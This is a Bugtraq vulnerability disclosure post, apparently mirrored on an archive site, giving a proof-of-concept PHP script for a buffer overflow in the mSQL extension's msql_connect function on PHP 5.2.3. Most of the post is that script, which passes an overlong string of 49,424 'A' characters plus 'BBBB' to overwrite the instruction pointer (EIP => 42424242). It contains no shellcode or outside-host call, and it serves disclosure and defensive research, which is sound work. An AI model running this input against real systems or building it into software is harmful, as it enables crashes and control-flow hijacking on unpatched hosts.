PHP mSQL (msql_connect) Buffer Overflow PoC

From: nima_501@yahoo.com
To: bugtraq@securityfocus.com
Cc:
Subject: PHP mSQL (msql_connect) Buffer Overflow PoC
Date:


<?php

##########################################################
###----------------------------------------------------###
###----PHP mSQL (msql_connect) Buffer Overflow PoC-----###
###----------------------------------------------------###
###-Tested on 5.2.3 (XP SP2)---------------------------###
###----------------------------------------------------###
###-Author:--NetJackal---------------------------------###
###-Email:---nima_501[at]yahoo[dot]com-----------------###
###-Website:-http://netjackal.by.ru--------------------###
###----------------------------------------------------###
##########################################################

if(!function_exists('msql_connect'))
die('mSQL extension is not available');

#msql_pconnect(str_repeat('A',49424).'BBBB');

msql_connect(str_repeat('A',49424).'BBBB'); # EIP => 42424242

?>





Copyright © 1995-2018 LinuxRocket.net. All rights reserved.